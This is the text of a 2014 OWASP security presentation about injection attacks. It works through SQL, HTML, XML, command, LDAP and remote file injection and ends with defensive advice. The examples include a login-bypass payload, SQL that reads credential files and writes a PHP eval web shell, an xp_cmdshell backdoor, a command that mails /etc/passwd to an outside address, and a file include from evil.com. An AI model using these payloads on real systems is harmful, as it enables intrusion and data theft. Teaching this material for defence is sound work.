owasp top 10 a1: injection

Owasp A1: Injection25 Jan 2014: Dubai, UAE.

Michael HendrickxInformation Security Consultant

([email protected])

Owasp Top 10 - 2013• A1: Injection• A2: Broken Authentication and Session Mgmt• A3: Cross Site Scripting• A4: Insecure Direct Object References• A5: Security Misconfiguration• A6: Sensitive Data Exposure• A7: Missing Function Level Access Control• A8: Cross Site Request Forgery• A9: Using Components with Known Vulns• A10: Invalidated Redirects and Forwards

How bad is it?

• Oct ‘13: 100k $ stolen from a California ISPhttp://thehackernews.com/2013/10/hacker-stole-100000-from-users-of.html

• Jun ‘13: Hackers cleared Turkish people’s bills for water, gas, telephone…http://news.softpedia.com/news/RedHack-Breaches-Istanbul-Administration-Site-Hackers-Claim-to-Have-Erased-Debts-364000.shtml

• Nov ‘12: 150k Adobe user accounts stolenhttp://www.darkreading.com/attacks-breaches/adobe-hacker-says-he-used-sql-injection/240134996

• Jul ‘12: 450k Yahoo! User accounts stolenhttp://www.cbsnews.com/news/yahoo-reportedly-hacked-is-your-account-safe/

What is Injection?

• Web applications became more complex– Database driven– Extra functionality (email, ticket booking, ..)

• Submitting data has a special meaning to underlying technologies

• Types:– SQL Injection– XML Injection– Command Injection

WebWeb

DBDBOSOSBackend System

Backend System

What underlying technologies?

• A webserver parses and “pass on” data

Web ServerWeb Server

http://somesite.com/msg.php?id=8471350

DBDB

OSOS

Script performs business logic and parses messages to backend.“Hey, get me a message from the DB with id 8471350”

SQL Injection: Database Query

• Dynamic script to look up data in DB


http://somesite.com/login.aspx?name=michael&password=secret123

DBDB

SELECT * FROM users WHERE name = ’michael’ AND password = ‘secret123’

http://somesite.com/msg.php?id=8471350

SELECT * FROM messages WHERE id = 8471350

Get indirect access to the database


• Insert value with ’ (single quote)– Single quote is delimiter for SQL queries


http://somesite.com/login.php?login=mich’ael&password=secret123

DBDB

Query is incorrectly, will throw error (if not suppressed).

SELECT * FROM users WHERE name = ’mich’ael’ AND password = ‘secret123’


• Insert value with ’ (single quote)


http://somesite.com/login.php?login=michael&password=test’ OR ’a’ = ’a

DBDB

SELECT * FROM users WHERE name = ’michael’ AND password = ’test ’ OR ‘a’ = ‘a’

‘a’ will always equal ‘a’, and thus log in this user.


• “Direct” access to database• Possible to issue CRUD statements, and more

http://xkcd.com/327/


• More advanced possibilities:– Read files*:• MySQL: SELECT

HEX(LOAD_FILE(‘/var/www/site.com/admin/.htpasswd’)) INTO DUMPFILE ‘/var/www/site.com/htdocs/test.txt’;

• MS SQL: CREATE TABLE newfile(data text);...BULK INSERT newfile FROM ‘C:\secretfile.dat’ WITH (CODEPAGE=‘RAW’, FIELDTERMINATOR=‘|’,ROWTERMINATOR=‘---’);

*: If you have the right privileges


• Write files– MySQL:

CREATE TABLE tmp(data longblog);INSERT INTO tmp(data) VALUES(0x3c3f7068);UPDATE tmp SET data=CONCAT(data, 0x20245f...);

<?php $_REQUEST[e] ? eval(base64_decode($_REQUEST[e])); exit;?> ...SELECT data FROM tmp INTO DUMPFILE ‘/var/www/site.com/htdocs/test.php’;

– MS SQL: CEXEC xp_cmdshell(‘echo ... >> backdoor.aspx’);

*: Again, If you have the right privileges


• SQL Map will perform attacks on target.

• Dumps entire tables• Even entire databases.• Stores everything in CSV

• More info on http://sqlmap.org

HTML Injection

• Possible to include HTML tags into fields• Used to render “special” html tags where

normal text is expected• XSS possible,

rewrite theDOM

HTML Injection

• Possible to insert iframes, fake forms, JS, …• Can be used in phishing attack

Button goes to different form, potentially stealing credentials.

XML Injection

• Web app talks to backend web services• Web app’s logic converts parameters to XML

web services (as SOAP, …)

Web ServerWeb ServerWeb serviceWeb service

Web serviceWeb service

DBDB

BackendBackend

XML Injection

http://somesite.com/create.php?name=michael&[email protected]<?xml version=“1.0” encoding=“ISO-8859-1” ?><user> <status>new</status> <admin>false</admin> <date>25 Jan 2014, 13:10:01</date> <name>$name</name> <email>$email</email></user>

http://somesite.com/create.php?name=michael&[email protected]</email><admin>true</admin><email>[email protected]

<?xml version=“1.0” encoding=“ISO-8859-1” ?><user> <status>new</status> <admin>false</admin> <date>25 Jan 2014, 13:24:48</date> <name>michael</name> <email>[email protected]</email><admin>true</admin><email>[email protected]</email></user>

Web app to create a new user

Command Injection

• Web application performs Operating System tasks– Execute external programs / scripts– List files– Send email

Web ServerWeb Server OSOS

Command Injection

• Dynamic script to share article


DBDBhttp://somesite.com/[email protected]

OSOS

$ echo “check this out” | mail –s “share” [email protected]

$ echo “check this out” | mail –s “share” [email protected]; mail [email protected] < /etc/passwd

http://somesite.com/[email protected];[email protected]+<+/etc/passwd

LDAP Injection

• Lightweight Directory Access Protocol• LDAP is used to access information directories– Users– User information– Software– Computers

Web ServerWeb ServerLDAP

ServerLDAP

Server

LDAP Injection

• Insert special characters, such as (, |, &, *, …• * (asterisk) allows listing of all users

http://www.networkdls.com/articles/ldapinjection.pdf

Remote File Injection

• Scripts include other files to extend functionality

• Why? Clarity, Reuse functionality– PHP:• include(), require(), require_once(), …

– Aspx:• 

– JSP:• <% @include file=“…” %>

Remote File Injection

• Color chooser

• Color will load new file with color codes (blue.php, red.php, …)

• Attacker can upload malicious PHP file to an external server

http://somesite.com/mypage.php?color=blue

<?php if(isset($_GET[‘color’])){ include($_GET[‘color’].‘.php’); }?>

http://somesite.com/mypage.php?color=http://evil.com/evil.txt?

Remote (HTML) File Injection

• Theme chooser

• Can input external HTML files– That can contain JavaScript, XSS, rewrite the

DOM, etc...

• Also verify cookie contents, …

http://somesite.com/set_theme.php?theme=fancy

<link href=“/themes/<? print $_COOKIE[‘theme’] ?>.css” rel=“stylesheet” type=“text/css” />

Protect against Injection Attacks (1)

• Implement Web Application Firewall (WAF)• Prevents most common attacks– Not 100% foolproof

• Make sure it can decrypt SSL

Web ServerWeb Server DBDBWAFWAF


• Validate user input, all input:– Never trust user input, ever.– Even stored input (for later use)– Force formats (numbers, email addresses, dates…)– HTTP form fields, HTTP referers, cookies, …

• Apply secure coding standards– Use prepared SQL statements– Vendor specific guidelines– OWASP secure coding practices:

https://www.owasp.org/images/0/08/OWASP_SCP_Quick_Reference_Guide_v2.pdf




• Adopt least-privilege policies– Give DB users least privileges– Use multiple DB users– Run processes with restricted privileges– Restrict permissions on directories

• Do your web directories really need to be writable?

• Run in sandboxed environment• Suppress error messages• Enable exception notifications– If something strange happens, reset session and

notify administrator.

So what’s next?

• Don’t trust your user input.• Don’t trust your user input.• Adopt secure coding policies• Implement defense in depth• Do log analysis to detect anomalies• And don’t trust your user input.

Thank you!

Michael [email protected]

@ndrix

owasp top 10 a1: injection

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